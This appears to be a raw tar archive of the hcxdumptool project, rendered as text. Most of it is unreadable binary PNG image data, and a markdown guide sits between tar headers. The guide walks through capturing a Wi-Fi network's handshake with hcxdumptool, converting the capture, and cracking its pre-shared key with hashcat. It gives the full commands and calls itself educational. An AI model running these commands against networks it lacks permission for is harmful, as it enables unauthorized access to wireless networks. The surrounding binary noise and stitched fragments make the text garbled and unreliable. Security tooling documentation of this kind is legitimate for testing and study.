He{{|߹C:4S' ̜o ~B% \3R`3+|ڭ<R.h\ =ğ69}xϯ8Ml}dz/Yp"gʁ@GcR,7;J#T/q-Xryb+\)[h^ {!NauLYϼ7ÒWj$-bKuynjH@?l&_Ѿޱ:oAiasKW^ AEݶiC|@PV4 UbZt Tδg~u<ո آ(7Vkp1qc`߄짇fKNm!%?tۨ+[WJLNBĝ"3X-է,Y ?f?E,Jg~O@PPNu ߧb MTu*XdP2 IDAT_TU K 4t,QNKω2LvةvW"JپATkeQ8tVjNMNܲ܄w^b?F{C˷.,Ԕޚ4M!tlj&ZIZ~In,%P]Xut{zŪ3oX2,";&LIuEЛ,2VX\&& bp{RJf[]-uM9BB[ϲNws5020n1!Dz]cכdwZ,B͖1),zO\}(2oklpEO:~+q^%+kjIh*4L:9r3LuͶE,Bx#i9mL4W MĆ{v EХd0rFG~WXo64-rO|pހ[*;Wcvc(߈kc$+r}sȟSv<'v/Ǎ;S)֬kZj| L;$jMa.rsjh h4aLu9^1}nϯ/11IOvpEZ!"OK-W=E1[ݢeϻf\v=])-_]o^I[@d^=]-OS&[9ƁRB즭c`% eee:_hlbT"<1/Ҫӣ7yksl|oOhZUpRlM :odI;r* k'tJ9ѶeOcn9.>cct]ZS-%ݴE Y!dW792ʾ'Zy'h[{g}#~a7HS ݷiְkڟ@)((026~rzXE,IO QB!IK'ȲN;*;'UA^"$7wv~Ȯ&̹Ƿ%㚾ZjZUߊsBB2W szVFv6B7nBjtI6BhrRnF% ڲggcZr?4 n=(_ptnh:؞SJYu=Xj8{#&,ʹw/;Wo %%doǠ/z2$ڽ v+(1"Z:X^"-i|(Yu_w\{Cale_M2z`Q킂3K89#prʱA(egY#oׯV3ڑ&}n[rW-H I .MYX0rf3+I)Z3ʵoψ=ꛓB|Œz#x˒){~T򮢈%_0cm3=H>BeakIϬ74&egV8,c|2+^?  ' g0(Qzf&W+uC+=/Beʾ'm ƿ&y[U@1:zA h^@BGK!yuZvO>+ӢCn%V/4R_R5Y˪R~fDo,z^H_Ӳgkϟ0riGԞNw*,,|T]UX?r6s݇,=P(n_1,26G)=ČF]nAߔc'N$;ôពaP[/uZ!k޽f e7[;E+YR aPvYٚ*BVCJLR.Viw<}fMۿ{Aϧ+ʲnt%܆v^z\S>y>m{exBqȌ?9%PjilUCZ {!gi%Vtɤjdd?`O[n瑻Qv&e˷;{$|+"?.FBT%0l.r c毿+[wf+NTMzf~ڡlQDZ:yf 7qɐe{ϼp~# =*r;<.|ZŲފ0f;cև&j4n$ !djR ADU 7'۫{N捐x\߭hZ5عv5~Ӧ5yvmQ>q _4ڳue !v]v́@/=%ڸJBDGij, +~Zm^'_d}adʺ=bu˳ﴟO\=M郳 zhv|$m%?r:4enC'Xժ8ik-70[#.ÿmחo >=$#'Vu=uVe>SݥwF~BC]j{w֚*n#;{(4B}ێfO|wjrPc{ظKu_m!4gzomt4^5lAsWΥ_ '+׮Twk/< |\2׎.vG)鹊鞸uҶ,cBQt56rMskDUǫVl u% W|Oj\lNm%ĒA#z|07xpaqеk [>{F}}ͩt}1?SI#wuS>_QNWv+"L|gie=mmS:\|#1;l"4ܘo(gZe'hjO|V !TMmen޺ZꍈƚB33ggRE:ZLe!/.6sws/x)dhAfM2dǬR*[ߦu Mǻ?k}s>\II >f[t/l&1>IQBI/qڪZ}z{}K;ըS=caq/Uup-b#EV=KlU*YQJ O3v=%8]UӍ =*{9{骇C&/}C'n|#c!s>5i;}^u6 ؖ~`7mÕS/+I)0TDr+]Z}ƸvmMuekKNƊHuL\jnmiSHt5dqG#]\sˏj?zæ^|xz9)s<̓vNZaj0R MigF-dYx.z74wSϘ17_} .t}9zT}A:\{١cTN}-lfTEJN;|uUӫ\g@\TyL|NpM™s-oc-K5}~>{Z{~5nܻ7*]_޽ՠѭ  ە8ڲggcmJn褂?~O 1^L%ɬvi8V^meq?Ms6H[8ZgeFXHNq^vvKnȩا٭VLwyG[(9qm^dS[ggsWb=B2o6ō X*Yc} 7c!0t[^|Rdڴy',Xʣ 3gGɬM3/0j 7!>=;i 7~MMKqfBh_>f#үM6ܶZu%Ǘ<2'?;z0SP&ge%f.|h&X,93"K934HKyJVP[WSXfALE:+{3g]F];9rw%Y3.4`%_0cm3=10aoP[u}@&3_X>h\9РHh~]BEq\!ę-{};3؍Kow'55}BYo-Iٙ:AOݓWOORDEEZ!Qzf&W+sC  zA h^@ 4@/zA h^@ 4@/zA h^@ Ehܨ j]-=}d߯1/oxxtjC6fkgI>dрڪz*SQ*Sk?r)yKÂsoU1[/|䋧3}Ҡj !T)N[bdo{ :tuQH:Bl }288B͟ kb-p=;q"܉ |nds^)gAe1zcqx数{]wqĆZߗcT5ۢ~>o v*8U5d䖑s_/xN':QS.pps,6v54U6:5[wiޥG+u[6 e~:mp~omlݧRabuSժggb3hXNq[w:ce᧷d{W۔ߓt⌻I1Γ=6x$!dGm}S"N^X^rc%F'~I( K6^ڶ42[ ',ЩBիz}3mSXj'z?}.ΘI%&9=%ێϬydɬJԑ,2We1h[s|hnjt]?]oy7;f*~޲sWWRۻKI? !qOv\\iSښ/*$#(yy&N/ld22T9ճSҞo޻ç Y[]Xmn޺ZꍈƚB33ghQc9@l]gRG1WlTV %7ZLcmۻw;iw#Ժ[%Ja3Ǐ /:~ 0JӞ[/!9>L?~H" 6!!Vl?{îD !\O$vQ+ZG%ݗBqGz,0RauǙYvw:&\sգYe/ot\{z孮YN!Bc\o:lKQ ac?[3XG^jvB7VDXc`%SU[wʙa|V]-b)nL|G*s硢1qRTEjBH9I!RPP`dl\T()laBv`S[奴UmBT_X>44wSϘ17_-U.=_ohѰIp!ʬFlQe1ݸ(aܹ /~S~nٽhb SⳲ3M5q&vuFVkoѪ1=$j:[#)'յz{fE!BK;~-KQSɪ c+j,heZqqf2S?JugR'S<2}ŧ 2Y{lO~r>w7:kab KBq`bg >E뤞9tŇM3Vޏ!?/]z4~>mz`6"-j󄹻@WRSݩФgM-Iٙ圳3/d=i,u@TTT"ԏ3u"lNT zB h^@%s16[z {ʼile֪7.ټ{%βGjL*rG.%s}X{.Uْx?'_<}論UV[!ꞯNw*,,|TM{D?7jZGmO'\aM,ߔc'N$;ôព ,[|.v+,HjV޽nj jKB\XҶي(L8dalNմ*^;iR %?ד?%/sawƬM(y75iY@,vxf#sOf=XG/11I&1>IQdf<,Ϯ5|6,{sH.yqIe&\cmۻw;iw#Բnb RXa|# 6:~ 0JӞ[/!9>L?~H" 6!!Vl?{îD !\O$vQKSWe߮p?˨ǙYvw:&\sգYeZ֣WoӛG/oufrtFW5SM[pBvusS>kPK)섈oS\;+J&]5 i6a|V]-b)nL|G*s硢1qRTEjBH9I!RPP`dl\eT()laBv`S[j_r3:Ʒ!x}6iqrG/gci._:tn\0ꅗDNQia{ 7v4_%&ge%fjRL^ֈߢUczIH:3W5=eVcϬ6$W!q{>_bwOeɔu?Bfʾze3 gVo}ܲYԏ~3ǺT2Lm餽GEVĞ)ۓ/y {ښ>&$4&6q@SPGO>nDcI{lBs3ܦh#Ң6O+][t_zʨJjjVʊ.l╉ *t[V39g]AݓӳQQQ?TƗulJ~v-Ux*>Gp h^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 4@/zA h^@ 4@/P/@tG=WRRRr2Wzl Zihhhhh(JvvvbbbAA z e#8zA Ћ:f!cIENDB`hcxdumptool-6.3.5/docs/example.md000066400000000000000000000067401471436103500170130ustar00rootroot00000000000000# Example Attack - Overview > [!NOTE] > This guide is only a general outline for attacks. > This guide is not definitive as there is no "one size fits all" solution for attacking networks. > This is the reason for the many options that hcxdumptool/hcxtools offers. > More information: > - [An overview of Hashcat mode 22000.](https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2) > - [A write-up by **Ido Hoorvitch** from CyberArk covering the statistics of WPA/WPA2 password cracking.](https://www.cyberark.com/resources/threat-research-blog/cracking-wifi-at-scale-with-one-simple-trick) > [!WARNING] > This guide is for educational purposes only! > **Do not use hcxdumptool on networks you do not have permission to use it on!** > For more information regarding the specifics of this warning, refer to the [caution](https://github.com/ZerBea/hcxdumptool#caution) section of the README. ### Example Attack - Details/Goals This example will simulate attacking a single network of interest. It is assumed all information relating to the target is already known. ESSID of AP: **TestAP** MAC address of AP: **00c0cab035be**. AP channel: **11** ### Step One - Creating a BPF The creation of a [BPF](https://wiki.wireshark.org/CaptureFilters) is **mandatory** as it make hcxdumptool either _ignore_ the specified address, or _attack_ the specified address. The full command to create a BPF to _attack_ 00c0cab035be would be as follows: ``` hcxdumptool --bpfc="wlan addr1 00c0cab035be or wlan addr2 00c0cab035be or wlan addr3 00c0cab035be" >> attack.bpf ``` The full command to create a BPF to _protect_ 00c0cab035be would be as follows: ``` hcxdumptool --bpfc="not wlan addr3 00c0cab035be" >> protect.bpf ``` Since we are going to attack 00c0cab035be, we will use the **attack.bpf** filter. ### Step Two - Running hcxdumptool Since we have now made the BPF, we can start the attack using all the information mentioned above. ``` sudo hcxdumptool -i wlan0 -c 11a --bpf=attack.bpf -w TestAP.pcapng ``` > [!NOTE] > hcxdumptool **requires** either super user (root) privileges to run or the use of sudo! After running that command for a while, the output was as follows: ![hcxdumptool output](/docs/example-pic-1.png?raw=true "hcxdumptool TestAP output") ### Step Three - Conversion We now have a complete capture with all information needed for cracking the PSK. Before we crack the PSK, we need to convert it into a format Hashcat/JtR can understand using hcxpcapngtool. The command to do so is as follows: ``` hcxpcapngtool -o TestAP.hc22000 TestAP.pcapng ``` After running hcxpcapngtool, the output was as follows: ![hcxpcapngtool output](/docs/example-pic-2.png?raw=true "hcxpcapngtool output") > [!NOTE] > hcxpcapngtool will throw errors if: > 1. The capture was too short/incomplete. > 2. The format used is old/outdated. > 3. Too many DEAUTHENTICATION frames were detected. > 4. The capture file was cleaned. > 5. No PROBEREQUESTS were detected. > 6. Too few M1 frames were detected. ### Step Four - Cracking Finally, we have a Hashcat/JtR compatible format for cracking the PSK of our target network. For this example, we will use Hashcat for our cracking tool of choice. There are many different ways to use Hashcat but we will just use a straight dictionary attack. The command will be as follows: ``` sudo hashcat -a 0 -m 22000 ./TestAP.hc22000 ./Wordlists/probable.txt ``` After letting Hashcat run for a while, the output was as follows: ![Hashcat output](/docs/example-pic-3.png?raw=true "cracked Hashcat output")hcxdumptool-6.3.5/docs/gpiowait.png000066400000000000000000001723261471436103500173730ustar00rootroot00000000000000PNG  IHDR0 .Y IDATxw`gҖ4REH'D$`K"A"A " Jo"T4HH/^=B$R9uSHx@߯'gfnOfΜ1V@#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2d4#hF Ќ@ @3f2\!O'GJy+Wd޽{7na>ܺu… 8099ٶjꫯBCC===?wDd„ aTPncQbEڵ3 cΜ9GiӦM…;$$$Ke:쁇hѢeʔ452v#Gfsn߾=lذ5jϟb.]C?mBttKrrrBBڮ:U~ZΝ;gFٲeE믿~4k,UN<^z>>>ŋ 1cj5,^0 ''YOk׮ӝ5jԾ}jժٳ͖ׯ_W… GFF6jbHNTW.\XD6l`.dygn޼*{quuUvW^y-[TVZȘ1c:ܦMEu?&LﺻHLLLݫT+V5j>}4k֬jժk:tQ6l(">>>jݽ{wLLpΝcbbV\/U ޽{}}}EVZn2k.5B ]vҥKra<|٬tҶ+3gfӦr"2i$7h@|^{MD\]]7nܼys5Zj V5==QF"2h s/zzz:99ڵKUE7̟?֭G 99Y56m4m4WkСݻw0bbbbbbvjWټysV"..jժ"RP:t޽nݺ`ܹft""EmjС 6\[N>-jO3|ᇓ&Mz7U5k(lٲeΝ7on~D6?8::fdx@޻wY׿e_ԩ;wʉ'Է~*-g}޽{V5))TRa]\cǎiiirՊ+oN}[f,K n߾ׯ_WAbux饗6ѦMR@ٿY9~a .4UT~JJJ:ѷo_sSSS;v("5k4}@,".]ʦ dSN5SG2g)SU%111$$DEU9{:/J֭E?_][w0!!OD&L*v,K M+YQ^zfqԩ"]8|xyyn.Ӣ~˖-oOES/:$" rŋO#Gɓ'nj3nܸ@'Çݫz""Om6lذr 8Ьo?j={?Uߚ"rE&~9;5eeCCCEd޼yȎ?nlΝ*ϙa.c ۷jʮ{/V'RRR̗ 6 )qqq*Ϫ@PZ웩@֬Y3bzzzEd֭RF 1VuӦMKnҤY1c4hj.[LDW~}J3%JPկ__ d9?\yd׮]SlMz"2jԨ\BNY?-vT3.]ڎ9{1dxBEFFھ,^ܹsGDo~2eʨM 8q'|bVƏ_dÇƍ+WnT弲eڍnҤay|ɒ%-jTDf͚TumH"*TԨQ199رcYmqӦM"ҢE zDDܸq_~1EDD8kۓ پ}{v1Kk֬IOOva긩AQnڷoгgϮ^ڬ/M&MԫW/_gb7&SRR/◭ƍgDnw!S9neB旱RJaܹ/٬rʵjR< O(ud~Ogy1c_yW_?t针,Yn)778Xb/ͱ)ͬ@PT)999Ψ1=:{kUpB6fcʕ"eV̙3VU2{26mo^Ν;7duNzG̻l +.jvݟ+f"ToA| lr'Oag(2<}@iF?PXXF/[lZr\yDnwl4',Xp͛7?)S͛IhD SI ;q]=---))fݟ}Y%~… jX-fwMۊ:I1~=E+;}w^~]r.?:uʮ/W֣_=OSD2^RWԕеkWUV_~ҤIW^xQD|||2M3pa݅\mӒ!!!C 9~x fΜU72<֭rݻw'Nټys޽{:uJKK/ʔ)3vؔ;H3g*u-u_\\m1..t$66V(gR:zxx = +֦Ft/^\MX[+W<(" 4xjyzz>s"n4=OHHعsgr;{aÆ'"QQQjgϞ]L?XDʖ-GݹsG-gׯ4|yY5׫R|||ǵw޶WGy… o>W>n2/2%.]ڿz6޾}[\ȩSƎ;~{3sꣻwfZ77gϟ?f4hK/ܺuofܹs [֭Swk.""btM}ƪF1bĈ kGy2ɤ:o;99&O^y֭[xN:T~)RĜjmVD5kֽ{wU9sa=zh׮nj߾}j*Ut_W7NƖyԾ+'AۯhNLL8pWw}lٲ... |W3g΄˗ۻ[nf}Νڵ+Zwhh̙3ͯjӅ zoXl>KJC SY|yN<ϙ3~wvvwުHQ~gGGG fzԩW_}H"~~~1113f d֜ dVU=2((b)S[n'Om]Zk׮-_sѢE%32k>-9e0`@``k+88xȑfȀ15={vΝ׭[/5:u3g= !Ќ@ @3f Ќ3d4#hF  ::0Ç?uǴ'׋+fF^t2a>{[ZK/Kݻwll^@Y޽HNٳǮrǏk-]tܹ xȀ?pvvΗ/T@o߾4-ލ7wJC _ ֭ݸq[:88*T0s-Y$44յZjǏOOO7W;vDEE(Q;88xԨQs ظqc&M|}}U7ƍgۍcĉ 駟D$((0,Y244TD,Ybaf?o߾=lذ5jϟb.]C?;wlW_}u7xCr"E/^Uz}ʕ>/Iw5~>}Hhhh@@6l8c ?I&M<9::u֗.]6mZ>}N81a„?eʔ=zl2!!ao'-ߋ_~eٷ۷EΝ;}N:uTˣ72<ݪU&Ƥm5kU6o,"5k̴ \RD/Ng֍-[v#"iVk6uZ,}ٵQ3eYfLd;7 2<"##g{ElҤIvЛVXb evinݺY,˗ۮʕ+|0{xTd[2ez=vv5i5k+;ӪUg}DWLLLr2]ɓvڶmF/_ڵkVuVddvXݨ8xȰLTN;vtk+W `{f͚gϞ}7M7y5jq5j 6VZ#F矷mдi|޽{m''8CިQFU| 6,\Xb۷oS>VW^mZ͛nݺ*UL2EΝ;o߾m۶G6mڵkfΜ?M֕j}TTʕ+ҲƲe˺vz!C|'vz1"44499yΝ*UReĈE=rș3gm[n6lXb.\8{7ov5^-#/`׮] z;wn˖-7p OwXb„ v0ڱcT\YSƐԥK؄5^D=gȫw,[h/ZbŪUڵ+99^Xl9cd駟椥OLL#4/@ݻw=z׮]W\qqq\rwn;1/f|>fJ.) f Ќ@ @3f2 >|< غu#Yٳg l=z4000O/MMM5Udɇ4<*L uVĉ޽LQFLtΝǏ[,A)f͚>}>ٳG˲Oė_~yժUիWfΜ޽{3]7<~xs7 Gd s| ӧWZգG;wjm۶M2%88_c  ,[wƍnݚ`B qܹ%KVVm2Ccǎ%Jx{{5*dKMM}8qb„ Yʔ)=zHOO mٲeBBիOm,Xٰa o6lشiӶmfΜwx5k,UZp…۷OMMYfڵm6lذ˗ܹ-eI߲Zj)))oѢŅ R+W?x⋞={HDDD@@sڶmۮjӦM ʾ}Q D\rʕ*SN=|p.]^XٵkDdfqر"hK.-"λw6wtt4 СCҡC6lzyqggg0.\h._Jׯ_z{!)P+Wŋ˔)#"GQ6mڈȘ1c6iii%J+޼y_D&L`3.~Çm9:[lQ/Ϝ9_m.uIձiӦGL%ӧvڕ?~۷{Y}];l0y3=춒 *vҥ6? ,t[t;wʗ/߽{wاOڵkgھuֵj2_V^qVu2eJJJJ˖-UQ|}}*"3f0/zx -jK(lٲݻweL2sL1O^^^l۶-}x}}BCCǍUĺu믥K[7=|<<<͛g-3MIII/lGeAeۖ-[\\\4i"ɲx\ .,"/_{3:s]E]Ꙇe˖~SԠ1Sbbb||9$$$$$oڴMfΜ';v۝;z7 ů .<|ʕ+.fXbnĉ/lN)woڵkԩ' tVl߾ݮ>wLۯYƮyfYfM?]}ʕ"Rx\cǎ#FoEŢƶ۝`we666v2ۊZvgՎoF_zrr7|cSW>>fvUEa[KKK5jTŊ-K߿ܹs"l6SIb֭ׯΗ/_``)Sfjݹsgv-쬞8s<6>>~^^^#G4jw^ǎܪVv wwwwssVȑ#U> xzz~Y-'8;;{yy5lpLbU22j>'((hС7nܰӧϟ~K.MIIQsm? +mڴkur!G1ٵkWpppB^*~~~Ν۲eK ;!ݻ+V0a#m <O7''.]&$$"rQ,EGp\SoѢE/rjjjŊVk׮^xaٲejؾ}ݻws7x0qƉٳ ÈJqqq^^^Gxtwx4 *OK*eW)Yd"EDj&$$\t}֭[pcǎ5kk֧O}l߿˖-Ç_n]6m&LЫWرc111ŋ8qb^:}JժU?{,5kּ{"ҷo={

}ܿO?ZIII9?}~e~Wvz? ?a|'iii~awرnݺҥKGGGgzzg]]]=<<*U;\rEtԩaDEE.rUshiٲea4l0-Z֯*44300O>L/acǎ[m۶ӧѵk׳gφӊY߿bŊnnnC uʔ)cwѢE -[KNNVmJ,*"K,Qݻ'"...ZC8ӂ@a k޼y3SLΝ;;::fl݁&Mrtt~WRRRƌSz#GHӦMEdͶKmذj:88lܸѶ^E믿{]vhh˗?z%&&f777}vttcBBBì"rرի1"---::E׮]4hPppk5˗OD,Y /2IIIÇ֭jӳgƍH@@@LLLLLek˗tRPVdgϞ[>"2bĈݻgXDdժUYIKKg͚%"eJJJٲeEo߾iiiڱcGYtɩiӦf=((HDۗΙ3GDʔ)syUILL 7|SUZj%"cƌ[M6oVDy晰;wͲURED[ECfʕ+H|vmo."NNNׯ_W &HV2Zĉ9 "9j2 RX1ͪͱcnܸYZlV?>}pŸ}ustt=z޽{'"M4?$駟VvC͛7z#G)RdCOOiӦ999}W^]۶mkժeSNRSS;u\<d|e=2q*1TPYڴiDDD (usB*"rҥ'Nԭ[׶iӦ&MoݺB^Fl롡gϞ]zu6͊WsR_~4hݶ^h5j5Pe`"^UTI~#iǴ1bDo&"jL]pADSPY9{vJ*g :;;맟~ <eƍ{ 6ȃ9sjHɒ%[+V,~i9zhNӍ'N-(Q®%^ w 6Ө;=<<_՝;wmvTQ5 ޲eӧ˖-a0BBB,Kڵ7olZ ظqatڱc?L-Z2eZsr+uGf5ݩȞFӎKEYւ ҡܩbG]5#P$۰aCʕ *$"Vɞ{9U?7^۵vwj#Bw9rkΜd!#{H]t(WLFv̙gϚT6mڴqFڬY3U^]YpxI-&%%%%%Οe_y\r-')@ OJJJnN8=plZ/ju֙*W\9x4h@Ujժ}v5 dsttܲe:y<=={9Ylm G ٶ;~xϞ`ժUꚯ>+d:phD DDV5k¾kGGǩSfM_~޴i * 0L={LOOo֬YU!<<ɓ/6 CP/"AAA۶m۹sgԩ}Qw 6xRSȚ5kl?p]4EDDTZ֭[{VO1cF۶m5k95P̙3UXa: OI׶m[57x?|٬g޼yԑ2nܸ߾}jWϟ}*W}Ce3+y"""Ǝnݺzݻw履~pB@@]4ip+VTTI SBCCG۪Ul:vnݺg IDATVZuqss۳g˕+7j(W_2dȾ}[h!"˗/OLLܹԩS<O:u?~Μ9>>>vZ,Kk f!Ќ@ @3f2<^ھ}"E8;;GGG#gz %&&=qŋX,>zfkժU-Z(TsB5kxbFfϞsҤIjLc <O{xx4o<Atr quu-^xBB‰'N8_GEE͞=Uw7sjժv)*=ZD-tիW^_~#FPmsrr ̸ >Dsaڴig2dO9+\|7;X.]ZDlْ}s!"[~}JJ_|yEDBBB$GGVZaND̙ػ(aG&(+" bl(b`51X#D%V v  %TR+p/&/Y=HYYʕ+i |X[[6@||<4k֬cǎpZl !.)KRw&.BP`USIIIyyV>qDB1r޽{kjߨŋ˗7o!'>]ݺufǮ]f̘7wݻc0?1>6B(!#uш#y9уaW b׮]̬o߾yfattt曆 2 s}n`aCrŏM6nժUWZZZ2 ŋ0KKK]]ݜ֭[ 022vppV^]\\leeiӦJwtw#f&,,L7^id+++Phdd}v<a;;;ҥH$rttܶm\\\رcf̘0n5jǍo׮dffwAMaƍWPP0eʔ  B rB  իݻFN:6Bh  dcc~???KK˖-[B3f̮]<<<6lqܹg~֭õxO>ѣGƍ꫈X{{{D/^xo޼IJJbW{Ν;ݺu9R.wرsEEEW^駟nܸbOzٳgwܹy|>n޼"[nݻ˗'''x!2eNUeΝ[T`GdݻwȈ=}޽{q^UKK _dɖ-[ǎ{޽M67a9|ӦM ȟ:&NXi<776l?$! ӧł ׭[?++W;V.GFF8pٳg7oTdϞ=EEE]tgΜپ} j$Bȿ\M>WYmٲLMM>|oݺ QQQٷo4jյvÇX'qR(eeex)ltf gylSkpn޼~ 4HۛTSSS1WdO<~شiF^~ vvvyyyl+V@Hxx8(!tRhhCԿ^VNN.0IIIٸq#ݼys8p̙3^0Ԝ:u*.PآEb yw*UOn7.//B(!#uWń *f3fG8LNN0lSÇkkk<Ϝ9֭[P(bqTT֭[`h"1bGz--y7~Hnܸe޽{WeUfBVi8R6mGL`bIIIH Y~@PPe>M3UaL6^ƍqu۷@[[;??#sŏp̈́ZCFwޅƴ+v7h``iv233?~az٥K?8<==^|&I1.vi,;;;v yxx HT/\|߾}y<^RR1ѣ)dr.XsΝ;Y)((Xhѓ'OJKK=zpB>m۶ŋfKKKsssXPXX 뫯@0f2x9LJ_YYY@^^X,fw䲰PJz<<\|>_"NvW‚]8JJJv Ǐ =|۷oիW%[QBF8+.gKJJ?W\rʸgϞN9]tM6}C u[[[7Ɵgnذb#Nm”Tbsx!8NV)cy?MII|Odd$g+eNhԩʼnzRQU^}a6fiiΝ;NB %d䋁3w2L&,XP=쬭Y\x\]]k׮|>ҥKӦMW o;;[nqӔtuڌ)D"{211iٲT$d ";;̃ƛ~!]]]DrH=ѝ;w\]],X|NEFF4Gd͔Bh bNqaBP(tqqIOOOKKcH$С.#`ȑJF)))222⹹ןU4|pشiSvvvUe֭[gccG좊W6TK&M --C*?~ܧO7XlիW2L).O{]~]SS3++|H)NBQBFzzz:t'O*}uigK5vZLLLV؟d+Wܻw{:zzS *!S*CǏoS 88~o߾1bƟ+&&f޼yW.!Xݻ7ٳG).HvܙUjہ^^^999UI666 6ܱcR|߾}r\KKKimǂc_~o (!#_ӧ?˗/o۶au0!۷o_FF!\FzjBW"{Iv)++kРA2%-Zhݺ5̙3G.c:711ٲeK:w|Qv333sѢE}-..:t(.ܹs5 .8PT-&M־r٠L& 3f̴iӪ[ۂذÇ>vٲe>VQ i={vtt4|2nknFFF@```Uepw={TdB>TS9H=e-n"եKJmذ!8p {agff&mڴ2eH$JKK޸CviEGGS666BpҤI9)mUXvP(fdfڴiR-ehh믿ڳgOGGGIŒSE}ҽmP322 ܨX, 1۷wss7c榢7$ _uLX,fsn=z4k ?O"8 RnNg+ LLL7EIYYYF`֭*@O]&dwիWz455ׯ?dȐn O0 Í"wXounӦͪUpO+V/2BժUUVF_ϟW+CCC{mjj INNXΝ;f̙ .~Iu:]^z˖-{-[@LPZ\ ݹsG^BWE 6d ={5jԈEDDoMJ2j>}[֭bFQ5B!c5dB!2B!ZF !BH-B!QBF!R(!#BeB!2J!Bj%dB!2B۷o3 0ÇU{1y50 sʕqjiii%JMMMٰa˭Yj'i=!T2B"GG:֭[U۶mk׮cǎ5>W֭\?w@z*}P((@0vXx_FGGgdd|,L!%dQ&LH\^i;v%k5>V`Bu2URUqljj N!| EQQQm곌5JGG'++ӕ8{˗/j|[nZ=y...P ٻw= 'N6BHPBF͛73 榣7߰&''[YY B###WW۷IҒ%KqssX+W/))HNNܹs[l۶m{%0/^ \~zggz nٲEPpJk֬qrr200ҲhԨkII OMMH6 6mڄΝ; u 𣃃L8Q.c{`˖-:** &%%a_xakk f';v|-F˗,YT*Umڴ~M)Z2f̘QVVA\gg&dl= V#sC V5|pf͙3Zl-ZҥK1-S(.] =t>9r$G8qb~dɒTiӦ+u!2RG8pqsR@6m^q… `iiyƩS~EEEbiݛ[Ԓ{%$$`o޼qDb >|Xu?`wtt0+$ Xnn&_Q'!ݹsǏA=sss6ҨQ#ؽ{7˗Ʊ L}a9~>WM3gBpiݻwF0-T*ٷo_[>|ƥKrss28تz쩣íܼCrڵk8qƆ R)oժUNΫWJ$33R%ƪѣGD{%&&۷okii3#X@ nllҵפIDp~:##z={666܈L}MM͛7gee߼ysȐ!2믿>v*U$pBjfm7U,,,F={U\|>_"}ĉ'N>}ޮ];yyyꜢR'NܱcǞ={V^UX)PARu3f޽۷x/_G"X,JwaU(opYE3gΌ~L&g2|3g>xƍNNN#ǏSB?= 'Oj4aȐ!"(&&&// [՜9sjٲem߼yh"[[۸8WWW@StԩS #ggg{{w߉'rss5k;V !4 [{jhhŭY& `Сѣbb J>N)5"mmQF?c٧N7nGi !T%d UKOOorرcRѣ^uz/>ߣG={_u ؽ{78Yӊ!>ׯ.>c)#T*| ?e}~F2 ]%ϟ?MMMu(33̙3kY>::Zi*33ݻгgO+8;jhh@yy5k%---qJyan{=~XKKQFaڭ[7q/ .󞴜R| ҥR<-- 7ZnJ$Q IDATǏ___naTjdd{~[VVֺuk=z4w͛7X,n{qi3"|2<<#кuk& IIIjvyyyaÔ-Z3f[2˖Tb<zzzj$((ݼݥTҥ Q\vvvV-25!Ív۴inQVV~z|LqF0`kР!|~:Lm۶>>>8ռy “&MP`;[ZZ===<U`a##0ر#{.v~==!CSrJ;$&&nݺCV&M;v,ִi/^Ŕdcڷo斐P^^ZXXL0ܼq8إK܅ٳg}FƏg``兙ܩ 6УGI%KߥҺN !䣣Q*2BQ ԫWqٲeV\qqq}^$4m4$$斩4!S(yyyo۶.300prrZjR'Hûv/ |||.^XP( EfΎ!ƍ Bm޽QJ ŪUݝ;w Eff@ 6m*̙3666ZZZ:tʕ+ry`` ,_{^un B_:udjj6l8l0=ՁQsBDB>P~Μ9k!CF_ 8JKKo߾ 8H!D%!_x dgg[YY9B!)KBH xxx\zU$D۷oD'NOeBy/J!5W\\aÆ={kܹ4_I!B !BH-5dB!2B!ZF !BH-On ϟtWfaÆ\i&aG^4a45iO_٭[7Gs=ڵkBÇ*jJ lذAEr+++aVZN !v_@ȿOHH7?i@nnP('O(ֵkW1cզDA%(,,-viܸqutt>|ceVPHt%Ϟ=:uꤢٳg !꣄K.J T*raĈSUvD$%%E:+&dO#  c$??LLL^Zc>}y<ގ;0RVVl2077Wq /̽{*|}}uՄD !d2X~yT* ŋ ͝;կbB?RBhii'HϟcCBB`J5t6lؠ87k֬J}-AE; !*2R]~}ذa 6NNN[ii)[ %%a[[۲UVnZGGG__'PR5k &Oy {ܹ3::A$=z*.. srr277fffcD"ga3g@5d Ì7N",^yZZZW^Uju릧ghhW_]rE.xTʕ+m۶vJ掐Λ7y6o޼?8pwqԨQr@֭6ܸqo7o>~~xiؒӧO@5qDvڵkUɓ`SN]f 9r]v_f… `nB?+)++ر#^Zugaa.\cqpo믿LEUb^z{ū^bE IQД%}{˗bK.Ż&d8.믿* BM6Mlժ78xjn,) _~K}}}]]gϞh233`Ν~,M4XPQ'xeeeq3gW!#uTll,xzz*۷J tzpUDbff+\x <6b6Geee_~yZZ˗/qݻwս@ss&Mp#qU@\'ݻ;ڵK*vܹm۶nW]TT˴4L^Kk֬Y 3͛һV)cT^f #n{{e˖͞={W}o+55W^SNŜx/)[*]v;v`2 *7BHJKK;;;q^^^FFnF)477,x(lܠR?z?Z Bpj ^Ǘ/_rpkNS|Wǎ6lqAP}*L0۶m3gFN|̙Z)۫(!#uD"4sG B**ౘaN:%$$Ԡ1Rt6uTWƍAEokN#00pϟⅥ%v9{j6lݺu8sUuiWǞսYYY-.++;wnMLLj|[DC 